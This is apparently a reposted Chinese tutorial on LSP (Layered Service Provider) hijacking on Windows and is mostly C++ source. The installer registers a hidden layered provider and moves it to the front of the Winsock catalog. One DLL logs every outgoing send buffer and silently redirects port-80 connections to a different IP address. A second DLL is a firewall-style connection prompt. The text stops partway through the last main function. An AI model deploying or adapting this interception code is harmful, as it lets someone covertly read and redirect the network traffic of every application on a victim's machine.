LSP 网络劫持(Layered Service Provider Hijacking)
生活随笔
收集整理的這篇文章主要介紹了
LSP 网络劫持(Layered Service Provider Hijacking)
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
LSP 簡介:
分層服務提供商(Layered Service Provider,LSP)是一種可以擴展Winsock作為應用程序的 Windows 的網絡套接字工具的機制。Winsock LSP 可用于非常廣泛的實用用途,包括 Internet 家長控制 (parental control) 和 Web 內容篩選。在以前版本的 Windows XP 中,刪除不正確的(也稱為“buggy”)LSP 可能會導致注冊表中的 Winsock 目錄損壞,潛在的導致所有網絡連接的丟失。 LSP就是TCP/IP等協議的接口.LSP用在正途上可以方便程序員們編寫監視系統網絡通訊情況的Sniffer,可是現在常見的LSP都被用于瀏覽器劫持。
“瀏覽器劫持” 或者 “分層服務提供程序”。某些間諜軟件會修改Winsock 2的設置,進行LSP“瀏覽器劫持”,所有與網絡交換的信息都要通過這些間諜軟件,從而使得它們可以監控使用者的信息。著名的如New net插件或WebHancer組件,它們是安裝一些軟件時帶來的你不想要的東西。
LSP 劫持(Layered Service Provider Hijacking):
是一種計算機安全漏洞和攻擊技術,通常與Windows操作系統相關。它涉及到網絡協議棧中的層式服務提供程序(Layered Service Provider,LSP),這些提供程序用于修改、監視或過濾網絡流量。LSP劫持是指攻擊者通過操縱LSP,以在網絡通信中插入惡意代碼或進行網絡監聽,從而捕獲敏感信息或執行惡意操作。
應用程序通過 socket 進行網絡通信時會調用 ws2_32.dll 的導出函數,比如 send/recv 等,而這些函數時通過更底層的 LSP 提供的 SPI(服務提供者接口)實現的。
如果有多個符合條件的 SPI,系統將會調用在 winsock 目錄最前面的那個 。所以注冊一個 SPI 并插入到 winsock 目錄的最前面就可以劫持了。另外劫持 LSP 需要將代碼卸載 DLL 里。
實現代碼:
主程序:
#include <Ws2spi.h>
#include <Sporder.h>
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "Ws2_32.lib")
#pragma comment(lib, "Rpcrt4.lib")
// LSP硬編碼
GUID ProviderGuid = { 0xd3c21122, 0x85e1, 0x48f3, { 0x9a, 0xb6, 0x23, 0xd9, 0x0c, 0x73, 0x07, 0xef } };
LPWSAPROTOCOL_INFOW GetProvider(LPINT lpnTotalProtocols)
{
DWORD dwSize = 0;
int nError;
LPWSAPROTOCOL_INFOW pProtoInfo = NULL;
if (::WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError) == SOCKET_ERROR)
{
if (nError != WSAENOBUFS)return NULL;
}
pProtoInfo = (LPWSAPROTOCOL_INFOW)::GlobalAlloc(GPTR, dwSize);
*lpnTotalProtocols = ::WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError);
return pProtoInfo;
}
void FreeProvider(LPWSAPROTOCOL_INFOW pProtoInfo)
{
::GlobalFree(pProtoInfo);
}
BOOL InstallProvider(WCHAR *pwszPathName)
{
WCHAR wszLSPName[] = L"PhoenixLSP";
LPWSAPROTOCOL_INFOW pProtoInfo;
int nProtocols;
WSAPROTOCOL_INFOW OriginalProtocolInfo[3];
DWORD dwOrigCatalogId[3];
int nArrayCount = 0;
DWORD dwLayeredCatalogId; // 我們分層協議的目錄ID號
int nError;
// 找到我們的下層協議,將信息放入數組中
// 枚舉所有服務程序提供者
pProtoInfo = GetProvider(&nProtocols);
BOOL bFindUdp = FALSE;
BOOL bFindTcp = FALSE;
BOOL bFindRaw = FALSE;
for (int i = 0; i < nProtocols; i++)
{
if (pProtoInfo[i].iAddressFamily == AF_INET)
{
if (!bFindUdp && pProtoInfo[i].iProtocol == IPPROTO_UDP)
{
memcpy(&OriginalProtocolInfo[nArrayCount], &pProtoInfo[i], sizeof(WSAPROTOCOL_INFOW));
OriginalProtocolInfo[nArrayCount].dwServiceFlags1 =
OriginalProtocolInfo[nArrayCount].dwServiceFlags1 & (~XP1_IFS_HANDLES);
dwOrigCatalogId[nArrayCount++] = pProtoInfo[i].dwCatalogEntryId;
bFindUdp = TRUE;
}
if (!bFindTcp && pProtoInfo[i].iProtocol == IPPROTO_TCP)
{
memcpy(&OriginalProtocolInfo[nArrayCount], &pProtoInfo[i], sizeof(WSAPROTOCOL_INFOW));
OriginalProtocolInfo[nArrayCount].dwServiceFlags1 =
OriginalProtocolInfo[nArrayCount].dwServiceFlags1 & (~XP1_IFS_HANDLES);
dwOrigCatalogId[nArrayCount++] = pProtoInfo[i].dwCatalogEntryId;
bFindTcp = TRUE;
}
if (!bFindRaw && pProtoInfo[i].iProtocol == IPPROTO_IP)
{
memcpy(&OriginalProtocolInfo[nArrayCount], &pProtoInfo[i], sizeof(WSAPROTOCOL_INFOW));
OriginalProtocolInfo[nArrayCount].dwServiceFlags1 =
OriginalProtocolInfo[nArrayCount].dwServiceFlags1 & (~XP1_IFS_HANDLES);
dwOrigCatalogId[nArrayCount++] = pProtoInfo[i].dwCatalogEntryId;
bFindRaw = TRUE;
}
}
}
// 安裝我們的分層協議,獲取一個dwLayeredCatalogId
// 隨便找一個下層協議的結構復制過來即可
WSAPROTOCOL_INFOW LayeredProtocolInfo;
memcpy(&LayeredProtocolInfo, &OriginalProtocolInfo[0], sizeof(WSAPROTOCOL_INFOW));
// 修改協議名稱,類型,設置PFL_HIDDEN標志
wcscpy(LayeredProtocolInfo.szProtocol, wszLSPName);
LayeredProtocolInfo.ProtocolChain.ChainLen = LAYERED_PROTOCOL; // 0;
LayeredProtocolInfo.dwProviderFlags |= PFL_HIDDEN;
// 安裝
//WSAEPROVIDERFAILEDINIT---------DLL導出函數需要導出WSPStartup
if (::WSCInstallProvider(&ProviderGuid,pwszPathName, &LayeredProtocolInfo, 1, &nError) == SOCKET_ERROR)
{
int a = GetLastError();
printf("WSCInstallProvider %d\n", a);
getchar();
getchar();
return FALSE;
}
// 重新枚舉協議,獲取分層協議的目錄ID號
FreeProvider(pProtoInfo);
pProtoInfo = GetProvider(&nProtocols);
for (int i = 0; i < nProtocols; i++)
{
if (memcmp(&pProtoInfo[i].ProviderId, &ProviderGuid, sizeof(ProviderGuid)) == 0)
{
dwLayeredCatalogId = pProtoInfo[i].dwCatalogEntryId;
break;
}
}
// 安裝協議鏈
// 修改協議名稱,類型
WCHAR wszChainName[WSAPROTOCOL_LEN + 1];
for (int i = 0; i < nArrayCount; i++)
{
swprintf(wszChainName, L"%ws over %ws", wszLSPName, OriginalProtocolInfo[i].szProtocol);
wcscpy(OriginalProtocolInfo[i].szProtocol, wszChainName);
if (OriginalProtocolInfo[i].ProtocolChain.ChainLen == 1)
{
OriginalProtocolInfo[i].ProtocolChain.ChainEntries[1] = dwOrigCatalogId[i];
}
else
{
for (int j = OriginalProtocolInfo[i].ProtocolChain.ChainLen; j > 0; j--)
{
OriginalProtocolInfo[i].ProtocolChain.ChainEntries[j]= OriginalProtocolInfo[i].ProtocolChain.ChainEntries[j - 1];
}
}
OriginalProtocolInfo[i].ProtocolChain.ChainLen++;
OriginalProtocolInfo[i].ProtocolChain.ChainEntries[0] = dwLayeredCatalogId;
}
// 獲取一個Guid,安裝之
GUID ProviderChainGuid;
if (::UuidCreate(&ProviderChainGuid) == RPC_S_OK)
{
if (WSCInstallProvider(&ProviderChainGuid,pwszPathName, OriginalProtocolInfo, nArrayCount, &nError) == SOCKET_ERROR)
{
printf("UuidCreate1\n");
return FALSE;
}
}
else
{
printf("UuidCreate2\n");
return FALSE;
}
// 重新排序Winsock目錄,將我們的協議鏈提前
// 重新枚舉安裝的協議
FreeProvider(pProtoInfo);
pProtoInfo = GetProvider(&nProtocols);
DWORD dwIds[20];
int nIndex = 0;
// 添加我們的協議鏈
for (int i = 0; i < nProtocols; i++)
{
if ((pProtoInfo[i].ProtocolChain.ChainLen > 1) &&(pProtoInfo[i].ProtocolChain.ChainEntries[0] == dwLayeredCatalogId))
dwIds[nIndex++] = pProtoInfo[i].dwCatalogEntryId;
}
// 添加其它協議
for (int i = 0; i < nProtocols; i++)
{
if ((pProtoInfo[i].ProtocolChain.ChainLen <= 1) ||(pProtoInfo[i].ProtocolChain.ChainEntries[0] != dwLayeredCatalogId))
dwIds[nIndex++] = pProtoInfo[i].dwCatalogEntryId;
}
// 重新排序Winsock目錄
if ((nError = ::WSCWriteProviderOrder(dwIds, nIndex)) != ERROR_SUCCESS)
{
printf("WSCWriteProviderOrder\n");
return FALSE;
}
FreeProvider(pProtoInfo);
printf("OK\n");
return TRUE;
}
BOOL RemoveProvider()
{
LPWSAPROTOCOL_INFOW pProtoInfo;
int nProtocols;
DWORD dwLayeredCatalogId;
// 根據Guid取得分層協議的目錄ID號
pProtoInfo = GetProvider(&nProtocols);
int nError;
int i = 0;
for ( i = 0; i < nProtocols; i++)
{
if (memcmp(&ProviderGuid, &pProtoInfo[i].ProviderId, sizeof(ProviderGuid)) == 0)
{
dwLayeredCatalogId = pProtoInfo[i].dwCatalogEntryId;
break;
}
}
if (i < nProtocols)
{
// 移除協議鏈
for (i = 0; i < nProtocols; i++)
{
if ((pProtoInfo[i].ProtocolChain.ChainLen > 1) &&(pProtoInfo[i].ProtocolChain.ChainEntries[0] == dwLayeredCatalogId))
{
WSCDeinstallProvider(&pProtoInfo[i].ProviderId, &nError);
}
}
// 移除分層協議
::WSCDeinstallProvider(&ProviderGuid, &nError);
}
return TRUE;
}
void main(void)
{
//安裝協議
TCHAR szPathName[256];
TCHAR* p;
if (::GetFullPathName(L"LSP.dll", 256, szPathName, &p) != 0)
{
if (InstallProvider(szPathName))
{
printf(" Install successully. \n");
}
}
system("pause");
//移除協議
if (RemoveProvider())
printf(" Deinstall successully. \n");
else
printf(" Deinstall failed. \n");
system("pause");
return 0;
}
LSP.Dll
#include <Winsock2.h>
#include <Ws2spi.h>
#include <Windows.h>
#include <stdio.h>
#include <tchar.h>
#pragma comment(lib, "Ws2_32.lib")
WSPUPCALLTABLE g_pUpCallTable; // 上層函數列表。如果LSP創建了自己的偽句柄,才使用這個函數列表
WSPPROC_TABLE g_NextProcTable; // 下層函數列表
TCHAR g_szCurrentApp[MAX_PATH]; // 當前調用本DLL的程序的名稱
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
GetModuleFileName(NULL, g_szCurrentApp, MAX_PATH);
}
break;
}
return TRUE;
}
LPWSAPROTOCOL_INFOW GetProvider(LPINT lpnTotalProtocols)
{
DWORD dwSize = 0;
int nError;
LPWSAPROTOCOL_INFOW pProtoInfo = NULL;
// 取得需要的長度
if (WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError) == SOCKET_ERROR)
{
if (nError != WSAENOBUFS)return NULL;
}
pProtoInfo = (LPWSAPROTOCOL_INFOW)::GlobalAlloc(GPTR, dwSize);
*lpnTotalProtocols = ::WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError);
return pProtoInfo;
}
void FreeProvider(LPWSAPROTOCOL_INFOW pProtoInfo)
{
GlobalFree(pProtoInfo);
}
int WSPAPI WSPSendTo(
SOCKET s,
LPWSABUF lpBuffers,
DWORD dwBufferCount,
LPDWORD lpNumberOfBytesSent,
DWORD dwFlags,
const struct sockaddr FAR * lpTo,
int iTolen,
LPWSAOVERLAPPED lpOverlapped,
LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine,
LPWSATHREADID lpThreadId,
LPINT lpErrno
)
{
OutputDebugString(g_szCurrentApp);
// 拒絕所有目的端口為4567的UDP封包
SOCKADDR_IN sa = *(SOCKADDR_IN*)lpTo;
if (sa.sin_port == htons(4567))
{
int iError;
g_NextProcTable.lpWSPShutdown(s, SD_BOTH, &iError);
*lpErrno = WSAECONNABORTED;
return SOCKET_ERROR;
}
return g_NextProcTable.lpWSPSendTo(s, lpBuffers, dwBufferCount, lpNumberOfBytesSent, dwFlags, lpTo, iTolen, lpOverlapped, lpCompletionRoutine, lpThreadId, lpErrno);
}
int WSPAPI WSPSend(
SOCKET s,
LPWSABUF lpBuffers,
DWORD dwBufferCount,
LPDWORD lpNumberOfBytesSent,
DWORD dwFlags,
LPWSAOVERLAPPED lpOverlapped,
LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine,
LPWSATHREADID lpThreadId,
LPINT lpErrno
)
{
if (lpBuffers)
{
if (lpBuffers->len > 1 && lpBuffers->buf)
{
char szText[20480] = { 0 };
_snprintf_s(szText, sizeof(szText), ("當前數據:長度%d 數據%s\n"), lpBuffers->len, lpBuffers->buf);
OutputDebugStringA(szText);
}
}
return g_NextProcTable.lpWSPSend(s, lpBuffers, dwBufferCount, lpNumberOfBytesSent, dwFlags, lpOverlapped, lpCompletionRoutine, lpThreadId, lpErrno);
}
int WSPAPI WSPConnect(
SOCKET s,
const struct sockaddr FAR* name,
int namelen,
LPWSABUF lpCallerData,
LPWSABUF lpCalleeData,
LPQOS lpSQOS,
LPQOS lpGQOS,
LPINT lpErrno
)
{
PSOCKADDR_IN paddrSrv = (SOCKADDR_IN*)name;
if (paddrSrv)
{
if (paddrSrv->sin_family==AF_INET)
{
if (ntohs(paddrSrv->sin_port)==80)
{
OutputDebugString(g_szCurrentApp);
char szText[MAX_PATH] = { 0 };
_snprintf_s(szText, sizeof(szText), ("當前端口%d ---IP地址%s Ip地址%d\n"), ntohs(paddrSrv->sin_port), inet_ntoa(paddrSrv->sin_addr), paddrSrv->sin_addr.S_un.S_addr);
OutputDebugStringA(szText);
paddrSrv->sin_addr.S_un.S_addr = inet_addr("8.8.8.8");
_snprintf_s(szText, sizeof(szText), ("修改后端口%d ---IP地址%s Ip地址%d\n"), ntohs(paddrSrv->sin_port), inet_ntoa(paddrSrv->sin_addr), paddrSrv->sin_addr.S_un.S_addr);
OutputDebugStringA(szText);
}
}
}
return g_NextProcTable.lpWSPConnect(s, name, namelen, lpCallerData, lpCalleeData, lpSQOS, lpGQOS, lpErrno);
}
int WSPAPI WSPStartup(
WORD wVersionRequested,
LPWSPDATA lpWSPData,
LPWSAPROTOCOL_INFO lpProtocolInfo,
WSPUPCALLTABLE UpcallTable,
LPWSPPROC_TABLE lpProcTable
)
{
OutputDebugString(g_szCurrentApp);
if (lpProtocolInfo->ProtocolChain.ChainLen <= 1)
{
return WSAEPROVIDERFAILEDINIT;
}
// 保存向上調用的函數表指針(這里我們不使用它)
g_pUpCallTable = UpcallTable;
// 枚舉協議,找到下層協議的WSAPROTOCOL_INFOW結構
WSAPROTOCOL_INFOW NextProtocolInfo;
int nTotalProtos;
LPWSAPROTOCOL_INFOW pProtoInfo = GetProvider(&nTotalProtos);
// 下層入口ID
int i = 0;
DWORD dwBaseEntryId = lpProtocolInfo->ProtocolChain.ChainEntries[1];
for ( i = 0; i < nTotalProtos; i++)
{
if (pProtoInfo[i].dwCatalogEntryId == dwBaseEntryId)
{
memcpy(&NextProtocolInfo, &pProtoInfo[i], sizeof(NextProtocolInfo));
break;
}
}
if (i >= nTotalProtos)
{
OutputDebugString(TEXT("WSPStartup: Can not find underlying protocol"));
return WSAEPROVIDERFAILEDINIT;
}
// 加載下層協議的DLL
int nError;
TCHAR szBaseProviderDll[MAX_PATH];
int nLen = MAX_PATH;
// 取得下層提供程序DLL路徑
if (::WSCGetProviderPath(&NextProtocolInfo.ProviderId, szBaseProviderDll, &nLen, &nError) == SOCKET_ERROR)
{
OutputDebugString(TEXT("WSPStartup: WSCGetProviderPath() failed"));
return WSAEPROVIDERFAILEDINIT;
}
if (!::ExpandEnvironmentStrings(szBaseProviderDll, szBaseProviderDll, MAX_PATH))
{
OutputDebugString(TEXT("WSPStartup: ExpandEnvironmentStrings() failed"));
return WSAEPROVIDERFAILEDINIT;
}
// 加載下層提供程序
HMODULE hModule = ::LoadLibrary(szBaseProviderDll);
if (hModule == NULL)
{
//ODS1(L" WSPStartup: LoadLibrary() failed %d \n", ::GetLastError());
OutputDebugString(TEXT("WSPStartup: LoadLibrary() failed"));
return WSAEPROVIDERFAILEDINIT;
}
// 導入下層提供程序的WSPStartup函數
LPWSPSTARTUP pfnWSPStartup = NULL;
pfnWSPStartup = (LPWSPSTARTUP)::GetProcAddress(hModule, "WSPStartup");
if (pfnWSPStartup == NULL)
{
//ODS1(L" WSPStartup: GetProcAddress() failed %d \n", ::GetLastError());
OutputDebugString(TEXT("WSPStartup: GetProcAddress() failed"));
return WSAEPROVIDERFAILEDINIT;
}
// 調用下層提供程序的WSPStartup函數
LPWSAPROTOCOL_INFOW pInfo = lpProtocolInfo;
if (NextProtocolInfo.ProtocolChain.ChainLen == BASE_PROTOCOL)
pInfo = &NextProtocolInfo;
int nRet = pfnWSPStartup(wVersionRequested, lpWSPData, pInfo, UpcallTable, lpProcTable);
if (nRet != ERROR_SUCCESS)
{
OutputDebugString(TEXT(" WSPStartup: underlying provider's WSPStartup() failed"));
return nRet;
}
// 保存下層提供者的函數表
g_NextProcTable = *lpProcTable;
// 修改傳遞給上層的函數表,Hook感興趣的函數,這里做為示例,僅Hook了WSPSendTo函數
// 您還可以Hook其它函數,如WSPSocket、WSPCloseSocket、WSPConnect等
//lpProcTable->lpWSPSendTo = WSPSendTo;
lpProcTable->lpWSPSend = WSPSend;
lpProcTable->lpWSPConnect = WSPConnect;
FreeProvider(pProtoInfo);
return nRet;
}
DLL源碼:
// 全局遍歷
WCHAR exepath[MAX_PATH] = { 0 };
WSPPROC_TABLE trueTable = { 0 };
int GetProvider(LPWSAPROTOCOL_INFOW &pProtoInfo)
{
// 首次調用,pProtoInfo傳入NULL,取得需要的緩沖區長度
DWORD dwSize = 0;
int nError = 0;
if (WSCEnumProtocols(NULL, NULL, &dwSize, &nError) == SOCKET_ERROR)
{
if (nError != WSAENOBUFS)
{
return 0;
}
}
// 申請足夠緩沖區內存。
pProtoInfo = (LPWSAPROTOCOL_INFOW)GlobalAlloc(GPTR, dwSize);
if (pProtoInfo == NULL)
{
return 0;
}
//再次調用WSCEnumProtocols函數
return WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError);
}
int WSPConnect(SOCKET s, const struct sockaddr FAR* name, int namelen,
LPWSABUF lpCallerData, LPWSABUF lpCalleeData, LPQOS lpSQOS, LPQOS lpGQOS,
LPINT lpErrno)
{
SOCKADDR_IN addr = *(SOCKADDR_IN*)name;
if (addr.sin_port==htons(80))
{
MessageBoxW(0, L"有程序訪問外網80端口", L"拒絕訪問", 0);
return SOCKET_ERROR;
}
return trueTable.lpWSPConnect(s, name, namelen, lpCallerData, lpCalleeData, lpSQOS, lpGQOS, lpErrno);
}
int WSPAPI WSPStartup(
WORD wVersionRequested,
LPWSPDATA lpWSPData,
LPWSAPROTOCOL_INFOW lpProtocolInfo,
WSPUPCALLTABLE UpcallTable,
LPWSPPROC_TABLE lpProcTable
)
/*
當應用程序通過SOCKET創建socket時會調用系統根據Winsock目錄和程序的需要來將對應的傳輸服務提供者,即
一個dll加載到目標進程中. 然后調用該dll提供的WSPStartup函數來初始化.初始化的
目的就是為了通過調用這個函數來獲取該這次操作socket的API函數對應的SPI
這就是windows上寫socket時之前必須通過WSAStartup來進行socket初始化的原因
該函數的lpProcTable 參數是個結構體,保存了所有的SPI函數.也就是可以從這個參數來獲取SPI
所以只需導出這個函數,然后將其他的SPI填寫到lpProcTable中,最后返回給程序
以上都是正常情況下的調用過程. 如果我們讓系統加載我們給它提供的dll就可以導出該函數,并
hook掉lpProcTable中的成員進行監控. 但是我們hook該函數后允許的話應該最后要調用正常的SPI,
這時參數lpProtocolInfo就能派上用場. 通過該參數可以獲取原來的協議的目錄id,然后遍歷winsock
目錄找到對應的協議的傳輸服務提供者即一個dll路徑,通過加載該dll并調用其中的WSPStartup即可獲取
真正的SPI,然后調用它.最終可以實現監控,修改,攔截等功能
*/
{
//我們編寫的DLL用于協議鏈中,所以如果是基礎協議或分層協議使用則直接返回錯誤
if (lpProtocolInfo->ProtocolChain.ChainLen <= 1)
{
return WSAEPROVIDERFAILEDINIT;
}
WCHAR exename[100] = { 0 };
wsprintf(exename, L"應用程序: %ls 正在聯網,是否允許?", exepath);
if (MessageBoxW(0,exename,L"溫馨提示",MB_YESNO|MB_ICONWARNING)==IDNO)
{
MessageBoxW(0, L"已攔截", L"提示", 0);
return WSAEPROVIDERFAILEDINIT;
}
// 枚舉協議,找到下層協議的WSAPROTOCOL_INFOW結構
WSAPROTOCOL_INFOW trueProtocolInfo; //保存真正的協議結構
LPWSAPROTOCOL_INFOW pProtoInfo = NULL;
int allproto = GetProvider(pProtoInfo);
DWORD trueId = lpProtocolInfo->ProtocolChain.ChainEntries[1];//獲取真正的協議目錄id
int i;
//遍歷查找真正的協議結構
for (i = 0; i < allproto; i++)
{
if (pProtoInfo[i].dwCatalogEntryId==trueId)
{
memcpy(&trueProtocolInfo, &pProtoInfo[i], sizeof(WSAPROTOCOL_INFOW));
break;
}
}
//沒找到就返回失敗
if (i>=allproto)
{
return WSAEPROVIDERFAILEDINIT;
}
int nError;
wchar_t szBaseProviderDll[MAX_PATH];//保存真正dll路徑
int nLen = MAX_PATH;
// 取得下層提供程序DLL路徑
if (WSCGetProviderPath(&trueProtocolInfo.ProviderId, szBaseProviderDll, &nLen, &nError) == SOCKET_ERROR)
{
return WSAEPROVIDERFAILEDINIT;
}
//上面的函數執行后路徑中會存在環境變量,通過下面展開環境變量
if (!ExpandEnvironmentStringsW(szBaseProviderDll, szBaseProviderDll, MAX_PATH))
{
return WSAEPROVIDERFAILEDINIT;
}
// 加載真正dll
HMODULE hModule = LoadLibraryW(szBaseProviderDll);
if (hModule == NULL)
{
return WSAEPROVIDERFAILEDINIT;
}
// 導入真正dll的WSPStartup函數
LPWSPSTARTUP pfnWSPStartup = NULL;
pfnWSPStartup = (LPWSPSTARTUP)GetProcAddress(hModule, "WSPStartup");
if (pfnWSPStartup == NULL)
{
return WSAEPROVIDERFAILEDINIT;
}
// 調用下層提供程序的WSPStartup函數以填充SPI地址表
LPWSAPROTOCOL_INFOW pInfo = lpProtocolInfo;
//
if (trueProtocolInfo.ProtocolChain.ChainLen == BASE_PROTOCOL)
{
pInfo = &trueProtocolInfo;
}
else
{
for (int j = 0; j<lpProtocolInfo->ProtocolChain.ChainLen; j++)
{
lpProtocolInfo->ProtocolChain.ChainEntries[j]
= lpProtocolInfo->ProtocolChain.ChainEntries[j + 1];
}
lpProtocolInfo->ProtocolChain.ChainLen--;
}
//調用真正的WSPStartup, 注意參數,協議結構參數必須是原來我們想劫持的那個協議結構
int nRet = pfnWSPStartup(wVersionRequested, lpWSPData, pInfo, UpcallTable, lpProcTable);
if (nRet != ERROR_SUCCESS)
{
return nRet;
}
memcpy(&trueTable, lpProcTable, sizeof(WSPPROC_TABLE)); //保存到trueTable中以便調用
//進行api替換
lpProcTable->lpWSPConnect = (LPWSPCONNECT)WSPConnect;
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
GetModuleFileNameW(0, exepath, MAX_PATH * sizeof(wchar_t));
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
主程序:
#include<Windows.h>
#include<locale.h>
#include<stdio.h>
#include<malloc.h>
#pragma comment(lib,"ws2_32.lib")
GUID layerGuid;
#define layerName L"freesec"
DWORD findGuid()
{
//枚舉winsock目錄中的協議
LPWSAPROTOCOL_INFOW info;//指向winsock目錄中協議
DWORD size = 0; //大小
DWORD num; //數量
WSCEnumProtocols(0, 0, &size, 0);
info = (LPWSAPROTOCOL_INFOW)malloc(size);
num = WSCEnumProtocols(0, info, &size, 0);
if (num == SOCKET_ERROR)
{
free(info);
return 0;
}
int i;
for ( i= 0; i < num; i++)
{
if (lstrcmpW(info[i].szProtocol,layerName)==0)
{
memcpy(&layerGuid, &info[i].ProviderId, sizeof(GUID));
break;
}
}
free(info);
if (i==num)//沒找到
{
return 0;
}
return 1;
}
DWORD lspInject()
{
//枚舉winsock目錄中的協議
LPWSAPROTOCOL_INFOW info;//指向winsock目錄中協議
DWORD size = 0; //大小
DWORD num; //數量
WSCEnumProtocols(0, 0, &size, 0);
info = (LPWSAPROTOCOL_INFOW)malloc(size);
num = WSCEnumProtocols(0, info, &size, 0);
DWORD trueId; //存儲被安裝的提供者的目錄id
if (num == SOCKET_ERROR)
{
free(info);
return 0;
}
WCHAR supplier[] = layerName;
WCHAR dllpath[] = L"E:\\0day\\shellcode\\Debug\\freesec.dll";//指定你的dll文件
DWORD myId;
int proto = IPPROTO_TCP; //目標協議
WSAPROTOCOL_INFOW save = { 0 }; //用于存儲指定協議的正常的提供者,最后用來作為分層協議和協議鏈的模板for (int i = 0; i < num; i++)
{//找符合條件的提供者,但不能是分層協議
if (info[i].iAddressFamily == AF_INET&&info[i].iProtocol == proto&&info[i].ProtocolChain.ChainLen!=0)
{
memcpy(&save, &info[i], sizeof(WSAPROTOCOL_INFOW)); //將原來的基礎協議信息保存
save.dwServiceFlags1 &= ~XP1_IFS_HANDLES; //去掉XP1_IFS_HANDLES標志
trueId = info[i].dwCatalogEntryId;
break;
}
}
//安裝分層協議
WSAPROTOCOL_INFOW Lpi = { 0 }; //新的分層協議
memcpy(&Lpi, &save, sizeof(WSAPROTOCOL_INFOW)); //以這個保存的系統已有協議作為模板
lstrcpyW(Lpi.szProtocol, supplier); //協議名,其實就是一個代號而已,可以隨意起名
Lpi.ProtocolChain.ChainLen = LAYERED_PROTOCOL; //設置為分層協議
Lpi.dwProviderFlags |= PFL_HIDDEN; //?
GUID pguid; //分層協議的guid
UuidCreate(&pguid);
memcpy(&layerGuid,&pguid,sizeof(GUID));
if (WSCInstallProvider(&pguid, dllpath, &Lpi, 1, 0) == SOCKET_ERROR) //安裝該分層協議
{
free(info);
return 0;
}
//重新枚舉協議以獲取分層協議的目錄id
free(info); //因為添加了一個分層協議,所以需要重新分配內存
DWORD layerId; //保存分層協議目錄id
WSCEnumProtocols(0, 0, &size, 0);
info = (LPWSAPROTOCOL_INFOW)malloc(size);
num = WSCEnumProtocols(0, info, &size, 0);
if (num == SOCKET_ERROR)
{
free(info);
return 0;
}
for (int i = 0; i < num; i++) //遍歷協議,直到找到剛才新增的分層協議
{
if (memcmp(&info[i].ProviderId, &pguid, sizeof(GUID)) == 0)
{
layerId = info[i].dwCatalogEntryId; //獲取分層協議目錄id
}
}
//安裝協議鏈
WCHAR chainName[WSAPROTOCOL_LEN + 1]; //其實就是一個名字代號,和分層協議的名字一樣
wsprintf(chainName, L"%ls over %ls", supplier, save.szProtocol);
lstrcpyW(save.szProtocol, chainName); //改名字1
if (save.ProtocolChain.ChainLen == 1) //如果目標協議的正常提供者是基礎協議則將其目錄id放在協議鏈的第2個位置
{
save.ProtocolChain.ChainEntries[1] = trueId; //將id寫入到該協議鏈的ChainEntries數組中,這個數組只有當它是協議鏈時才有意義
}
else //否則就是協議鏈提供者
{
for (int i = save.ProtocolChain.ChainLen; i > 0; i--)//如果是協議鏈則將該協議鏈中其他協議往后移,
//以便將自己的分層協議插入到鏈首.但是這個數組最大存7個,所以如果原來就占滿了,理論上會擠掉最后一個
{
save.ProtocolChain.ChainEntries[i] = save.ProtocolChain.ChainEntries[i - 1];
}
}
save.ProtocolChain.ChainEntries[0] = layerId;
save.ProtocolChain.ChainLen++;
//獲取guid,安裝協議鏈
GUID providerChainGuid;
UuidCreate(&providerChainGuid);
if (WSCInstallProvider(&providerChainGuid, dllpath, &save, 1, 0) == SOCKET_ERROR)
{
free(info);
return 0;
}
//重新枚舉協議
free(info);
WSCEnumProtocols(0, 0, &size, 0);
info = (LPWSAPROTOCOL_INFOW)malloc(size);
num = WSCEnumProtocols(0, info, &size, 0);
if (num == SOCKET_ERROR)
{
free(info);
return 0;
}
//遍歷獲取我們的協議鏈的目錄id
DWORD* chainId = (DWORD*)malloc(num * sizeof(DWORD)); //這個是協議鏈的目錄id數組,把我們的協議鏈id
//放在最前面,系統原來的按順序放后面
DWORD cindex = 0;
for (int i = 0; i < num; i++)
{
if ((info[i].ProtocolChain.ChainLen > 1) && (info[i].ProtocolChain.ChainEntries[0] == layerId))
{
chainId[cindex] = info[i].dwCatalogEntryId;
cindex++;
}
}
for (int i = 0; i < num; i++)
{
if ((info[i].ProtocolChain.ChainLen <= 1) || (info[i].ProtocolChain.ChainEntries[0] != layerId))
{
chainId[cindex] = info[i].dwCatalogEntryId;
cindex++;
}
}
if (WSCWriteProviderOrder(chainId, cindex) != 0)
{
free(info);
free(chainId);
return 0;
}
free(info);
free(chainId);
return 1;
}
DWORD uninstall()
{
if(findGuid()==0)
{
return 0;
}
//枚舉winsock目錄中的協議
LPWSAPROTOCOL_INFOW info;//指向winsock目錄中協議
DWORD size = 0; //大小
DWORD num; //數量
DWORD Id;
DWORD result;
int cc; //作為錯誤碼,下面2個函數的錯誤碼地址必須提供,否則會調用失敗
WSCEnumProtocols(0, 0, &size, 0);
info = (LPWSAPROTOCOL_INFOW)malloc(size);
num = WSCEnumProtocols(0, info, &size, 0);
if (num == SOCKET_ERROR)
{
free(info);
return 0;
}
int i = 0;
for (i=0; i < num; i++)
{
if (memcmp(&layerGuid,&info[i].ProviderId,sizeof(GUID))==0)
{
Id = info[i].dwCatalogEntryId;
}
}
if (i<=num)
{
for (i = 0; i < num; i++)
{
if ((info[i].ProtocolChain.ChainLen>1)&&(info[i].ProtocolChain.ChainEntries[0]==Id))
{
if((result=WSCDeinstallProvider(&info[i].ProviderId, &cc))==SOCKET_ERROR)
{
free(info);
return 0;
}
break;
}
}
free(info);
if((result=WSCDeinstallProvider(&layerGuid, &cc))==SOCKET_ERROR)
{return 0;
}
}
else
{
free(info);
return 0;
}return 1;
}
int main(int argc, char** argv)
{
setlocale(LC_ALL, "chs");
int result;
if (argc!=2)
{
